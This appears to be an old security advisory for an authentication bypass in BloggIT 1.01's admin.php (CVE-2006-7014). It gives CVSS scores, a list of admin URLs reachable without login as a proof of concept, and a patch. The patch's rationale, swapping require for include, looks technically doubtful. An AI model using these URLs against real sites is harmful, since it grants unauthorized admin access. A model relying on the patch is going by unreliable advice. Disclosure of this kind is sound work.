BloggIT <= 1.01 (admin.php) Arbitrary code execution

2007.02.17

Credit: Federico Fazzi

Risk: High

Local: No

Remote: Yes

CVE: CVE-2006-7014

CWE: CWE-Other

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

*/ Federico Fazzi, <federico (at) autistici (dot) org [email concealed]>
*/ BloggIT <= 1.01 (admin.php) Arbitrary code execution
*/ 04/06/2006 5:48
Bug:
The BloggIT have on the admin.php:
require("session.inc.php");
//- session_start();
//- if ($_SESSION['login'] != "ok") header("Location: index.php");
and require() function don't include the file
for test the security session.
Proof of concept:
The cracker have arbitrary access at:
http://example/admin.php
http://example/admin.php?op=add_ent
http://example/admin.php?op=add_usr
http://example/admin.php?op=man_ent
http://example/admin.php?op=man_usr
http://example/admin.php?op=man_cat
http://example/admin.php?op=man_com
http://example/admin.php?op=man_fil
Patch:
--- admin.php 2006-06-05 20:51:05.000000000 +0200
+++ admin.php 2006-06-05 20:51:23.000000000 +0200
@@ -6,7 +6,7 @@
require("config.inc.php");
require("language.inc.php");
require("parsing.inc.php");
-require("session.inc.php");
+include("session.inc.php");
print("<title>{$title} - Powered by BloggIT 1.01</title>\n");
?>

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